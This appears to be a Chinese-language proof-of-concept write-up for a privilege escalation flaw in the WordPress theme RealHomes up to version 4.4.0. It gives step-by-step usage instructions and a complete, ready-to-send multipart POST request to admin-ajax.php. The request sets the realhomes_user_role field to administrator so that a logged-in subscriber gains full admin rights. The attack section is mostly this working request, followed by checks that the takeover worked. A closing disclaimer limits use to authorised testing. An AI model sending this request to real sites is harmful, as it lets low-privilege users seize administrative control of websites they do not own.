🔥 漏洞概要
WordPress 主题 RealHomes 版本 <= 4.4.0 存在一个权限提升漏洞。这允许具有低权限(例如订阅者)的认证用户将其角色提升为管理员。该漏洞通过 inspiry_update_profile 函数发生,该函数在 ere_allow_users_change_role 选项启用时不当允许用户更改其角色。
该问题可通过向 admin-ajax.php 端点提交特制的 POST 请求来利用,提供设置为 administrator 的 realhomes_user_role 参数。
🔍 受影响的主题
🧪 利用特点
realhomes_user_role 参数为 administrator。🧠 研究人员
🚀 使用方法
以低权限用户(例如订阅者)登录目标网站。
访问 /wp-admin/admin-ajax.php 端点,发送以下 POST 数据,其中包含设置为 administrator 的 realhomes_user_role 参数:
POST /wp-admin/admin-ajax.php HTTP/2
Host: targetsite.com
Cookie: wordpress_logged_in_xxx=...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="first-name"
test
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="last-name"
user
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="realhomes_user_role"
administrator
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="action"
inspiry_update_profile
------WebKitFormBoundaryNGw1yuikHiYVYYsr--
检查响应:如果请求成功,攻击者将获得管理访问权限。
通过访问 /wp-admin/ 页面验证攻击者是否已被授予管理员权限。
🔒 免责声明: 本内容仅供教育目的,仅应用于您拥有或明确授权测试的系统。滥用此代码可能导致法律后果。